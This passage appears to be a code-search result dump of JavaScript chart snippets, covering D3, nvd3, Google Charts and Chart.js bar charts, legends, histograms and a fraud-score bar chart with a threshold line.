selectionLine.data(data).exit().remove();\n\n // Legend\n // ---------------------------------------------------------\n\n if (showLegend) {\n\n var legend = mainArea.selectAll(\".legend\"); \n \n legend\n .data([data])\n .enter()\n .append(\"g\")\n .attr(\"class\", \"legend\");\n\n var selectionLegend = svg\n .selectAll(\".legend\").data([data])\n .attr(\"class\", \"legend\")\n .attr(\"transform\", `translate(${width} 0)`);\n\n selectionLegend.data([data]).exit().remove(); \n\n var rectLegend = selectionLegend.selectAll(\".rectLegend\"); \n \n rectLegend\n .data([data])\n .enter()\n .append(\"rect\")\n .attr(\"class\", \"rectLegend\");\n\n var selectionRectLegend = svg\n .selectAll(\".rectLegend\").data([data])\n .attr(\"class\", \"rectLegend\")\n .attr(\"x\", 0)\n .attr(\"y\", 0)\n .attr(\"width\", legendWidth)\n .attr(\"height\", 20 * data.length + legendPad)\n .attr(\"stroke\", \"gray\")\n .attr(\"fill\", \"white\");\n\n selectionRectLegend.data([data]).exit().remove(); \n\n var legendMark = selectionLegend.selectAll(\".legendMark\"); \n \n legendMark\n .data(data)\n .enter()\n .append(\"rect\")\n .attr(\"class\", \"legendMark\");\n\n var selectionlegendMark = svg\n .selectAll(\".legendMark\").data(data)\n .attr(\"class\", \"legendMark\")\n .attr(\"x\", 10)\n .attr(\"y\", (d, i) => legendPad + i * 20)\n .attr(\"width\", 10)\n .attr(\"height\", 10)\n .attr(\"fill\", (d, i) => colorScale(i));\n\n selectionlegendMark.exit().remove(); \n\n var markLabel = selectionLegend.selectAll(\".markLabel\"); \n \n markLabel\n .data(data)\n .enter()\n .append(\"text\")\n .attr(\"class\", \"markLabel\");\n\n var selectionMarkLabel = svg\n .selectAll(\".markLabel\").data(dataInput)\n .attr(\"class\", \"markLabel\")\n .attr(\"x\", 30)\n .attr(\"y\", (d, i) => legendPad + 3 + i * 20)\n .text(idFun)\n .attr(\"dominant-baseline\", \"central\");\n\n selectionMarkLabel.exit().remove(); \n\n }\n });\n }\n\n chart.width = function(value) {\n\t\tif (!arguments.length) return width;\n width = value;\n svgWidth = showLegend ? width + legendWidth : width;\n\t\treturn chart;\n }\n \n chart.height = function(value) {\n\t\tif (!arguments.length) return height;\n\t\theight = value;\n\t\treturn chart;\n }\n \n chart.radius = function(value) {\n\t\tif (!arguments.length) return radius;\n radius = value;\n\t\treturn chart;\n }\n\n chart.axisInnerPad = function(value) {\n\t\tif (!arguments.length) return axisInnerPad;\n\t\taxisInnerPad = value;\n\t\treturn chart;\n }\n\n chart.axisOuterPad = function(value) {\n\t\tif (!arguments.length) return axisOuterPad;\n\t\taxisOuterPad = value;\n\t\treturn chart;\n }\n\n chart.textPad = function(value) {\n\t\tif (!arguments.length) return textPad;\n\t\ttextPad = value;\n\t\treturn chart;\n }\n\n chart.legendWidth = function(value) {\n\t\tif (!arguments.length) return legendWidth;\n\t\tlegendWidth = value;\n\t\treturn chart;\n }\n\n chart.legendPad = function(value) {\n\t\tif (!arguments.length) return legendPad;\n\t\tlegendPad = value;\n\t\treturn chart;\n }\n\n chart.showAxisLabels = function(value) {\n\t\tif (!arguments.length) return showAxisLabels;\n\t\tshowAxisLabels = value;\n\t\treturn chart;\n }\n\n chart.showLegend = function(value) {\n\t\tif (!arguments.length) return showLegend;\n showLegend = value;\n svgWidth = showLegend ? width + legendWidth : width;\n\t\treturn chart;\n }\n\n chart.axes = function(value) {\n\t\tif (!arguments.length) return axes;\n\t\taxes = value;\n\t\treturn chart;\n }\n\n chart.idFun = function(value) {\n\t\tif (!arguments.length) return idFun;\n\t\tidFun = value;\n\t\treturn chart;\n }\n \n return chart;\n}", "title": "" }, { "docid": "7d51e16d04001033683aa96e18e54711", "score": "0.5862705", "text": "function drawCanvasBars() {\n const width = canvas.node().width;\n const height = canvas.node().height;\n\n //object with prop and methods used to render graphics in canvas element\n let context = canvas.node().getContext('2d');\n\n // clear canvas\n context.clearRect(0, 0, width, height);\n\n for (let i = 0; i < filteredDatasetMonth.length; i++) {\n let d = filteredDatasetMonth[i];\n\n //draw rect\n context.fillStyle = `rgba(${rgb}, .1)`;\n context.fillRect(xScale(d.Time), 0, 3, height);\n }\n}", "title": "" }, { "docid": "762172112879db78ee8e0e554079ae84", "score": "0.585595", "text": "createHistogramBars() {\n let self = this;\n\n //draw bars on histogram\n let bar = this.parent.selectAll(\".bar\")\n .data(this.histogramData)\n .enter()\n .append(\"g\")\n .attr(\"class\", \"bar\")\n .attr(\"transform\", function (d) {\n return \"translate(\" + (self.margin.left + self.xScale(d.x)) + \",\" + (self.margin.top + self.yScale(d.y)) + \")\";\n });\n\n bar.append(\"rect\")\n .attr(\"x\", 1)\n .attr(\"width\", self.xScale(this.minValue + this.histogramData[0].dx) - 1)\n .attr(\"height\", function (d) {\n return (self.chartHeight - self.yScale(d.y));\n })\n .style(\"fill\", \"steelblue\");\n\n // place label of value within the bar\n bar.append(\"text\")\n .attr(\"dy\", \".75em\")\n .attr(\"y\", 6)\n .attr(\"x\", this.xScale(this.minValue + this.histogramData[0].dx) / 2) //put label in middle of bar\n .attr(\"text-anchor\", \"middle\")\n .style(\"fill\", \"#fff\") // set the fill colour ;\n .text(function (d) {\n return d.y;\n }); //label is the value of the count\n }", "title": "" }, { "docid": "e24123f254c0246287b905b12deff901", "score": "0.58530235", "text": "function renderSVGBars(chartEl) {\n const barsContainer = document.createElementNS(\"http://www.w3.org/2000/svg\", \"svg\");\n barsContainer.setAttribute(\"width\", 400);\n barsContainer.setAttribute(\"height\", 140);\n chartEl.appendChild(barsContainer);\n \n barsData.forEach((barData, index) => {\n const bar = document.createElementNS(\"http://www.w3.org/2000/svg\", 'rect');\n bar.setAttribute('width', CHART_WIDTH * barData.value / 100);\n bar.setAttribute('height', BAR_HEIGHT);\n bar.setAttribute('x', 0);\n bar.setAttribute('y', index * (BAR_HEIGHT + BAR_MARGIN));\n bar.setAttribute('fill', barData.color);\n barsContainer.appendChild(bar);\n });\n }", "title": "" }, { "docid": "5054763f91b71afed11991c67bf8c227", "score": "0.58472675", "text": "function barChart(responsedata,window,id,visualizationMethod) {\n\tvar dataObject = trimBarChart(responsedata);\t\n\treturn d3BarChart(dataObject,id,tooltipBarChartPlot,null);\n}", "title": "" }, { "docid": "0999c2304a87c00fd2f764b8f2c0e13b", "score": "0.5844137", "text": "function stackedBar(data) {\n d3.select(\"#charts\").remove()\n d3.select(\"#contentContainer\").append(\"div\").attr(\"id\", \"charts\").append(\"svg\")\n .attr(\"width\", 600).attr(\"height\", 400)\n nv.addGraph(function() {\n var chart = nv.models.multiBarChart().stacked(true);\n\n chart.xAxis\n .tickFormat(d3.format(''));\n\n chart.yAxis\n .tickFormat(d3.format(''));\n\n d3.select('#charts svg')\n .datum(data)\n .call(chart);\n\n nv.utils.windowResize(chart.update);\n chart.update()\n\n return chart;\n });\n}", "title": "" }, { "docid": "fd5e1abc2e5319aca8ea3bf65ff23cbf", "score": "0.58429945", "text": "function drawBarChart(element, data, threshold) {\n\n // Panels\n\n const totalFraudulentPayments = data.filter((d) => d.total > FRAUD_THRESHOLD);\n const percentageFraud = (totalFraudulentPayments.length / data.length * 100).toFixed(2);\n\n const $percentageFraudElement = $('.percentageFraud');\n $percentageFraudElement.html(percentageFraud + '%');\n\n const totalTransactions = data.length;\n\n const $totalTransactionsElement = $('.totalTransactions');\n $totalTransactionsElement.html(totalTransactions);\n\n const totalFraudulentPaymentPoints = totalFraudulentPayments.map(d => d.total).reduce((a, b) => a + b, 0);\n\n let totalPointsSelectedCheck = totalFraudulentPayments.map(d => d[CURRENTLY_SELECTED_CHECK]).reduce((a, b) => a + b, 0);\n let percentagePointsSelectedCheck = (totalPointsSelectedCheck / totalFraudulentPaymentPoints * 100).toFixed(2);\n const $percentagePointsElement = $('.percentagePoints');\n $percentagePointsElement.html(percentagePointsSelectedCheck + '%');\n\n var svg = d3.select(element),\n margin = {top: 20, right: 20, bottom: 110, left: 40},\n margin2 = {top: 430, right: 20, bottom: 30, left: 40},\n width = +svg.attr(\"width\") - margin.left - margin.right,\n height = +svg.attr(\"height\") - margin.top - margin.bottom,\n height2 = +svg.attr(\"height\") - margin2.top - margin2.bottom;\n\n var x = d3.scaleLinear().range([0, width]),\n x2 = d3.scaleLinear().range([0, width]),\n y = d3.scaleLinear().range([height, 0]),\n y2 = d3.scaleLinear().range([height2, 0]);\n\n var xAxis = d3.axisBottom(x),\n xAxis2 = d3.axisBottom(x2),\n yAxis = d3.axisLeft(y);\n\n var brush = d3.brushX()\n .extent([[0, 0], [width, height2]])\n .on(\"brush end\", brushed);\n\n var area = d3.area()\n .curve(d3.curveMonotoneX)\n .x(function(d, i) { return x(i); })\n .y0(height)\n .y1(function(d) { return y(d.total); });\n\n var area2 = d3.area()\n .curve(d3.curveMonotoneX)\n .x(function(d, i) { return x2(i); })\n .y0(height2)\n .y1(function(d) { return y2(d.total); });\n\n svg.append(\"defs\").append(\"clipPath\")\n .attr(\"id\", \"clip\")\n .append(\"rect\")\n .attr(\"width\", width)\n .attr(\"height\", height);\n\n var focus = svg.append(\"g\")\n .attr(\"class\", \"focus\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n var context = svg.append(\"g\")\n .attr(\"class\", \"context\")\n .attr(\"transform\", \"translate(\" + margin2.left + \",\" + margin2.top + \")\");\n\n x.domain(d3.extent(data, function(d, i) { return i; }));\n y.domain([0, d3.max(data, function(d) { return d.total; })]);\n x2.domain(x.domain());\n y2.domain(y.domain());\n\n function drawBars(dataset, selection) {\n var bars = focus.selectAll(\".bar\").data(dataset, datum => datum);\n var segment = width / dataset.length;\n var tenth = (segment / 10);\n var barW = (segment / 10) * 8;\n\n bars.exit().remove();\n\n //ENTER\n bars.enter()\n .append(\"rect\")\n // .attr(\"class\", \"bar\")\n .attr(\"class\", function(d) { return d.total < FRAUD_THRESHOLD + 1 ? \"bar\" : \"bar is-fraud\" })\n .attr(\"x\", function(d, i) { return x( i + selection[0] ) - (barW / 2); })\n .attr(\"y\", function(d) { return y(d.total); })\n .attr(\"width\", function() { return barW; })\n .attr(\"height\", function(d) { return height - y(d.total); });\n\n bars.enter()\n .append(\"rect\")\n .attr(\"class\", \"bar enter\")\n .attr(\"x\", function(d, i) { return x(i + selection[0]) - (barW / 2); })\n .attr(\"y\", function(d) { return y(d[CURRENTLY_SELECTED_CHECK]); }) // CURRENTLY_SELECTED_CHECK is defined in triggercheck.js\n .attr(\"width\", function() { return barW; })\n .attr(\"height\", function(d) { return height - y(d[CURRENTLY_SELECTED_CHECK]); });\n\n focus.append('line')\n .attr(\"x1\", 0)\n .attr(\"y1\", y(threshold))\n .attr(\"x2\", width)\n .attr(\"y2\", y(threshold))\n .attr(\"stroke-width\", 2)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr(\"stroke\", \"#aa111f\");\n\n focus.append('rect')\n .attr(\"x\", width - 112)\n .attr(\"y\", y(threshold) - 16)\n .attr(\"height\", \"1em\")\n .attr(\"width\", 100)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr('fill', '#FFFFFF')\n\n focus.append('text')\n .attr(\"x\", width - 20)\n .attr(\"y\", y(threshold) - 4)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr('fill', '#222')\n .attr('text-anchor', 'end')\n .attr('font-size', '12')\n .attr('font-family', 'Arial')\n .text('Fraud threshold');\n\n focus.append('line')\n .attr(\"x1\", 0)\n .attr(\"y1\", y(25))\n .attr(\"x2\", width)\n .attr(\"y2\", y(25))\n .attr(\"stroke-width\", 2)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr(\"stroke\", \"#222\");\n\n focus.append('rect')\n .attr(\"x\", width - 80)\n .attr(\"y\", y(25) - 16)\n .attr(\"height\", \"1em\")\n .attr(\"width\", 68)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr('fill', '#FFFFFF')\n\n focus.append('text')\n .attr(\"x\", width - 20)\n .attr(\"y\", y(25) - 4)\n .attr(\"shape-rendering\", \"crispEdges\")\n .attr('fill', '#222')\n .attr('text-anchor', 'end')\n .attr('font-size', '12')\n .attr('font-family', 'Arial')\n .text('Max score');\n }\n\n var s = x2.range();\n\n function triggerCheck() {\n $trigger.removeClass('is-active');\n $(this).addClass('is-active');\n const selectedCheck = $(this).attr('data-for').substring(6, 7) - 1;\n checkTitle[0].innerHTML = checkInfo[selectedCheck].title;\n checkDescription[0].innerHTML = checkInfo[selectedCheck].description;\n CURRENTLY_SELECTED_CHECK = checkInfo[selectedCheck].check;\n drawBars(data, x2.range());\n d3.select('.brush').call(brush.move, [0, s[1]]);\n\n\n let totalPointsSelectedCheck = totalFraudulentPayments.map(d => d[CURRENTLY_SELECTED_CHECK]).reduce((a, b) => a + b, 0);\n let percentagePointsSelectedCheck = (totalPointsSelectedCheck / totalFraudulentPaymentPoints * 100).toFixed(2);\n $percentagePointsElement.html(percentagePointsSelectedCheck + '%');\n\n }\n\n drawBars(data, x2.range());\n\n focus.append(\"g\")\n .attr(\"class\", \"axis axis--x\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis);\n\n focus.append(\"g\")\n .attr(\"class\", \"axis axis--y\")\n .call(yAxis);\n\n context.append(\"path\")\n .datum(data)\n .attr(\"class\", \"area\")\n .attr(\"d\", area2);\n\n context.append(\"g\")\n .attr(\"class\", \"axis axis--x\")\n .attr(\"transform\", \"translate(0,\" + height2 + \")\")\n .call(xAxis2);\n\n context.append(\"g\")\n .attr(\"class\", \"brush\")\n .call(brush)\n .call(brush.move, [0, x.range()[1] / 3]);\n\n function brushed() {\n var selectedRange = d3.event.selection;\n var selectedRangeWidth = Math.abs(d3.event.selection[0] - d3.event.selection[1]);\n var minSelectionWidth = 15;\n if (selectedRangeWidth < minSelectionWidth) {\n selectedRange = [selectedRange[0], selectedRange[0] + minSelectionWidth];\n }\n s = selectedRange || x2.range();\n var xs = s.map(x2.invert, x2);\n\n x.domain(xs);\n\n\n // from Programmatically Control a d3 brush\n // http://bl.ocks.org/timelyportfolio/5c136de85de1c2abb6fc\n /*if (!d3.event.sourceEvent) return; // Only transition after input.\n if (!d3.event.selection) return; // Ignore empty selections.\n d3.select(this).transition().call(d3.event.target.move, selectedRange);\n*/\n\n focus.select(\".area\").attr(\"d\", area);\n focus.select(\".axis--x\").call(xAxis);\n\n drawBars(data.slice(xs[0], xs[1]), xs);\n\n }\n\n $trigger.click(triggerCheck);\n\n}", "title": "" }, { "docid": "6b136be0f16334cb9767c08ee7c05a38", "score": "0.58397686", "text": "function HorzBars(data){\r\n var hB={};\r\n aData = byAttrib(data)\r\n\r\n /* ===== SET UP CHART =====*/\r\n var w = 300;\r\n var barSpacing = 20;\r\n var barThickness = 15;\r\n var vertPadding = 5;\r\n var h = barSpacing * aData.length + vertPadding;\r\n var margin = {top: 50, right: 50, bottom: 50, left: 100},\r\n width = w + margin.left + margin.right,\r\n height = h + margin.top + margin.bottom;\r\n\r\n var hB = d3.select(id)\r\n .append('svg')\r\n .attr('width', width )\r\n .attr('height', height )\r\n .append(\"g\")\r\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\r\n\r\n var xScale = d3.scaleLinear()\r\n .domain([0, 1.05 * d3.max(aData, function(d) { return d.Waste; })])\r\n .range([0,w]);\r\n var yScale = d3.scaleBand()\r\n .domain(aData.map(function(d) { return d.Attribute; }))\r\n .range([0,h]);\r\n\r\n var xAxis = d3.axisBottom()\r\n .scale(xScale)\r\n .ticks(5,'.2%')\r\n .tickSize(h, 0)\r\n var yAxis = d3.axisLeft()\r\n .scale(yScale);\r\n\r\n var tooltip = d3.select(\"body\")\r\n .append(\"div\")\r\n .attr(\"class\", \"toolTip\")\r\n .style(\"opacity\", 0.75);\r\n\r\n /* --- INITIALIZE BARS ---*/\r\n var group = hB.selectAll('hB')\r\n .data(aData)\r\n .enter()\r\n .append('g')\r\n // .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\r\n var hbars = group\r\n .append('rect')\r\n .attr(\"class\", 'hbar')\r\n .attr('y', function(d, i) {return i * (barSpacing) + vertPadding})\r\n .attr('height', barThickness)\r\n .attr('width', function(d) {return xScale(d.Waste)})\r\n .attr('fill' , function (d,i) {return setBarColors(d,i);})\r\n\r\n /* Axis and gridlines */\r\n hB.append('g')\r\n .attr('class', 'ticks')\r\n .call(xAxis);\r\n hB.append('g')\r\n .attr('class', 'ticks')\r\n .call(yAxis);\r\n\r\n /* ===== LABELS =====*/\r\n hB.append(\"text\")\r\n .attr(\"x\", w/2 - margin.left)\r\n .attr(\"y\", -margin.top/2)\r\n .text(\"Attribute vs Waste\")\r\n hB.append(\"text\")\r\n .attr(\"x\", w/2 - margin.left)\r\n .attr(\"y\", (h + margin.bottom))\r\n .style(\"text-anchor\", \"start\")\r\n .text(\"Waste\");\r\n hB.append(\"text\")\r\n .attr(\"x\", -w/2)\r\n .attr(\"y\", -margin.left)\r\n .style(\"text-anchor\", \"end\")\r\n .attr(\"transform\", \"rotate(-90)\")\r\n .text(\"Attribute\");\r\n\r\n /* ===== Mouse effects ===== */\r\n hB.selectAll(\"g\")\r\n .data(aData)\r\n .on(\"click\", onMouseClick) //Add listener for the mouseclick event\r\n .on(\"mouseover\", function(d) {onMouseOver(d)}) //Add listener for the mouseover event\r\n .on(\"mouseout\", onMouseOut) //Add listener for the mouseout event\r\n .attr(\"x\", function(d) { return xScale(d.Attribute); })\r\n .attr(\"y\", function(d) { return yScale(d.Waste); })\r\n .attr(\"width\", function(d) { return xScale(d.Waste); })\r\n .attr(\"height\", (barSpacing-barThickness))\r\n .attr('attri', function(d) {return d.Attribute});\r\n\r\n /* ===== Functions ===== */\r\n\r\n //bar colors//\r\n function setBarColors (d,i) {\r\n var colors = ['DarkGray'];\r\n return colors[0];\r\n };\r\n //mouseover event handler function\r\n function onMouseClick(d) {\r\n d3.selectAll('.hbar')\r\n .style('fill', setBarColors());\r\n d3.select(this)\r\n .select('rect')\r\n .transition().duration(50)\r\n .style('fill', 'SteelBlue');\r\n\r\n var tAttri = d3.select(this).attr('attri')\r\n var nAttri = parseInt(tAttri.match(/\\d+$/))-1\r\n\r\n lP.update(Select_AD(data,nAttri))\r\n }\r\n //mouseover event handler function\r\n function onMouseOver(d) {\r\n tooltip.style(\"left\", d3.event.pageX + 50 + \"px\")\r\n .style(\"top\", d3.event.pageY - 25 + \"px\")\r\n .style(\"display\", \"inline-block\")\r\n .text(d.Attribute +\": \" + (d.Waste*100).toFixed(2) + \"%\");\r\n\r\n }\r\n //mouseout event handler function\r\n function onMouseOut() {\r\n tooltip.style(\"display\", \"none\");\r\n }\r\n }", "title": "" }, { "docid": "0cba6e85ec8287562d92e39898295fac", "score": "0.58339655", "text": "function barChart(svgElem, width, height, series) {\n\tconst svg = d3.select(svgElem);\n\n\tconst margin = {top: 10, right: 0, bottom: 20, left: 10};\n\n\ty = d3.scaleBand()\n\t .domain(series.map(d => d.name))\n\t .range([height - margin.bottom, margin.top])\n\t .padding(0.1);\n\n\tx = d3.scaleLinear()\n .domain([0, d3.max(series, d => d.value)])\n .nice()\n .range([margin.left, width - margin.right]);\n\n yAxis = g => g\n \t.style(\"font-family\", 'SourceSansPro, \"Helvetica Neue\", Arial')\n \t.style(\"font-size\", \"13px\")\n\t.style(\"stroke-width\", \"0px\")\n .attr(\"transform\", `translate(${margin.left},-5)`)\n .call(d3.axisRight(y).tickSizeOuter(0));\n\n xAxis = g => g\n .attr(\"transform\", `translate(0,${height - margin.bottom})`)\n .call(d3.axisBottom(x).ticks(3))\n .call(g => g.select(\".domain\").remove());\n\n\tsvg.append(\"g\")\n .attr(\"fill\", \"#83CED5\")\n\t .selectAll(\"rect\").data(series).enter()\n\t .append(\"rect\")\n .attr(\"x\", d => x(0))\n .attr(\"y\", d => y(d.name))\n .attr(\"height\", y.bandwidth() - 20) // leave room for text\n .attr(\"transform\", \"translate(0,20)\")\n .attr(\"width\", d => x(d.value) - x(0));\n \n\tsvg.append(\"g\")\n\t .call(xAxis);\n\n\tsvg.append(\"g\")\n\t .call(yAxis);\n\n\treturn svg.node();\n}", "title": "" }, { "docid": "8e8dd7a564fe0313cdad198a3dc0d6fd", "score": "0.58333606", "text": "function drawChart1() {\n\n var data = google.visualization.arrayToDataTable([\n ['Toppings', 'Slices'],\n ['Cheese', 1],\n ['Taco', 3],\n ['Veggie Thai', 2],\n ['Hawaiian', 3],\n ['Pepperoni', 2]\n ]);\n\n var options = {\n chart: {\n title: 'Pizza Eaten by Slices',\n },\n bars: 'horizontal' // Required for Material Bar Charts.\n \n };\n\n var chart = new google.charts.Bar(document.getElementById('chart_div1'));\n\n chart.draw(data, google.charts.Bar.convertOptions(options));\n}", "title": "" }, { "docid": "5c102eb5f31dae33fd63737abfd22acf", "score": "0.5833333", "text": "function createGroCatBarChart(ctx) {\n var chart = new Chart(ctx, {\n // The type of chart we want to create\n type: 'horizontalBar',\n\n // The data for our dataset\n data: {\n labels: ['Mon','Tue','Wed','Thu','Fri','Sat','Sun'],\n datasets: [{\n label: '9am-12pm',\n data: [900, 920, 1000, 860, 800, 1000, 1080],\n backgroundColor: '#00838F',\n borderColor: 'rgba(118, 194, 175, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '12pm-3pm',\n data: [880, 890, 970, 800, 790, 990, 930],\n backgroundColor: '#0097A7',\n borderColor: 'rgba(173, 215, 246, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '3pm-6pm',\n data: [800, 860, 830, 790, 850, 900, 870],\n backgroundColor: '#00ACC1',\n borderColor: 'rgba(141, 106, 159, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '6pm-9pm',\n data: [2400, 2350, 2650, 1880, 1700, 1210, 1490],\n backgroundColor: '#00BCD4',\n borderColor: 'rgba(8, 146, 165, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '9pm-12am',\n data: [820, 770, 910, 750, 700, 650, 690],\n backgroundColor: '#26C6DA',\n borderColor: 'rgba(7, 190, 184, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '12am-3am',\n data: [10, 20, 50, 0, 70, 50, 10],\n backgroundColor: '#4DD0E1',\n borderColor: 'rgba(238, 96, 85, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '3am-6am',\n data: [0, 10, 20, 0, 20, 10, 10],\n backgroundColor: '#80DEEA',\n borderColor: 'rgba(194, 249, 112, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n },\n {\n label: '6am-9pm',\n data: [120, 100, 180, 100, 80, 50, 30],\n backgroundColor: '#B2EBF2',\n borderColor: 'rgba(232, 141, 103, 0)',\n // hoverBackgroundColor: 'rgba(210, 210, 210, 1)',\n // hoverBorderColor: 'rgba(210, 210, 210, 1)',\n borderWidth: 0\n }]\n },\n\n // Configuration options go here\n options: {\n responsive: true,\n maintainAspectRatio: false,\n // responsiveAnimationDuration: 400, // in ms\n title: {\n text: 'Transactions for Groceries',\n display: true,\n // fontColor: '#fff',\n fontStyle: 'normal'\n },\n legend: {\n // display: false\n labels: {\n boxWidth: 10,\n // usePointStyle: true,\n fontSize: 12\n }\n },\n tooltips: {\n // callbacks: {\n // beforeTitle: function (tooltipItem, data) {\n // return 'Apparels';\n // }\n // },\n // enabled: false\n },\n scales: {\n yAxes: [{\n // display: false,\n stacked: true,\n gridLines: {\n color: 'rgba(255, 255, 255, 0.3)',\n lineWidth: 2,\n drawBorder: false\n },\n ticks: {\n beginAtZero: true,\n // fontColor: 'rgba(255, 255, 255, 0.7)',\n padding: 10\n },\n // display: false\n }],\n xAxes: [{\n stacked: true,\n gridLines: {\n color: 'rgba(255, 255, 255, 0.3)',\n lineWidth: 2,\n drawBorder: false\n },\n ticks: {\n // display: false\n },\n // display: false\n }]\n }\n }\n });\n}", "title": "" }, { "docid": "100434037da0e9dec00e57ad64552b52", "score": "0.58330446", "text": "constructor(tooltip){\n\n let corBar = d3.select(\"#correlationbar\").classed(\"content\", true);\n this.margin = {top: 20, right: 20, bottom: 20, left: 20};\n //Gets access to the div element created for this chart and legend element from HTML\n let svgBounds = corBar.node().getBoundingClientRect();\n this.svgWidth = svgBounds.width - this.margin.left - this.margin.right;\n this.svgHeight = this.svgWidth;\n this.svg = corBar.append(\"svg\")\n .attr(\"width\",this.svgWidth)\n .attr(\"height\",this.svgHeight)\n }", "title": "" }, { "docid": "2802f2be31063c904b0dc2c8bf60e1a9", "score": "0.58271027", "text": "function barchart_walk_pre() {\n\n var svg = d3.select(\"#walk_pre_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.walk_pre);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.walk_pre);})\n .attr(\"fill\", walk_pre_color)\n .style(\"opacity\", barchart_opacity);\n\n // horizontal line to compare against:\n var line_height = (1 - control_voice) * height/4;\n var myLine = svg.append(\"svg:line\")\n .attr(\"x1\", 0)\n .attr(\"y1\", line_height)\n .attr(\"x2\", width)\n .attr(\"y2\", line_height)\n .style(\"stroke\", \"lightgray\");\n });\n }", "title": "" }, { "docid": "86edec19ecb1ace5ab61ab2eff0e7283", "score": "0.5820202", "text": "function barchart_stand_pre() {\n\n var svg = d3.select(\"#stand_pre_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n\n // Load data:\n d3.csv(data_file, function (error, data) {\n\n bars = svg.selectAll(\"rect\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.stand_pre);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.stand_pre);})\n .attr(\"fill\", stand_pre_color)\n .style(\"opacity\", barchart_opacity);\n\n // horizontal line to compare against:\n var line_height = (1 - control_voice) * height/4;\n var myLine = svg.append(\"svg:line\")\n .attr(\"x1\", 0)\n .attr(\"y1\", line_height)\n .attr(\"x2\", width)\n .attr(\"y2\", line_height)\n .style(\"stroke\", \"lightgray\");\n });\n }", "title": "" }, { "docid": "2fc148a0e461b240a909bad473450629", "score": "0.58186567", "text": "function set_bar_x(){\n // bar_x_loc is the x value for translating the legend of the chart. line_x_loc is the additional spacing between the \n // legend and closest downward arrow in the chart.\n // The reduce_x_space function calculates the upper value of the range the bars on the chart will cover based on the number of \n // elements in the data to be used for d3 data binding and visualization\n bar_x_regional = d3.scale.ordinal().rangeRoundBands([bar_x_loc-line_x_loc, reduce_x_space(data_routes_filt_regional)], bar_width);\n bar_x_regional.domain(data_routes_filt_regional.map(function(d,i) { return i; }));\n bar_x_major = d3.scale.ordinal().rangeRoundBands([bar_x_loc+line_x_loc, width2-reduce_x_space(data_routes_filt_major)], bar_width);\n bar_x_major.domain(data_routes_filt_major.map(function(d,i) { return i; }));\n}", "title": "" }, { "docid": "69d6682889a1ba28d4ba28c38173a840", "score": "0.58146346", "text": "init() {\n $sel.at('data-clippy', data.key)\n .style('cursor', 'pointer')\n const titleGroup = $sel.append('div.chart-legend')\n titleGroup.append('text')\n .text(data.key)\n .attr('class', 'method-type')\n\n titleGroup.append('text')\n .text(`•`)\n .attr('class', 'bullet')\n\n const thouFormat = d3.format(',')\n\n titleGroup.append('text')\n .text(`${thouFormat(data.values[0].total)} Respondents`)\n .attr('class', 'method-total')\n\n\t\t\t\t$svg = $sel.append('svg.multipleMethods-chart');\n\t\t\t\t$g = $svg.append('g');\n\n\t\t\t\t// offset chart for margins\n\t\t\t\t$g.at('transform', `translate(${marginLeft}, ${marginTop})`);\n\n\t\t\t\t// create axis\n\t\t\t\t$axis = $g.append('g.g-axis');\n\n\t\t\t\t// setup viz group\n\t\t\t\t$vis = $g.append('g.g-vis');\n\n barGroups = $vis\n .selectAll('.g-bar')\n .data(data.values)\n .enter()\n .append('g')\n .attr('class', 'g-bar')\n .classed('sideEffect', d => {\n const se = d.label.includes('side')\n return se\n })\n .classed('bleeding', d => {\n const blood = d.label.includes('bleeding')\n return blood\n })\n .classed('weight', d => {\n const weight = d.label.includes('weight')\n return weight\n })\n .classed('pain', d => {\n const pain = d.label.includes('pain')\n return pain\n })\n\n\t\t\t\tChart.resize();\n\t\t\t\tChart.render();\n\t\t\t}", "title": "" }, { "docid": "2582e6ace6de4e8352af30b84604f423", "score": "0.58102936", "text": "function renderDivBars(chartEl) {\n const barsContainer = document.createElement('div');\n barsContainer.style = \"position: relative; width: 400px; height: 140px\";\n chartEl.appendChild(barsContainer);\n \n barsData.forEach((barData, index) => {\n const bar = document.createElement('div');\n let style = `position: absolute;`;\n style += `width: ${CHART_WIDTH * barData.value / 100}; height: ${BAR_HEIGHT}px;`;\n style += `top: ${index * 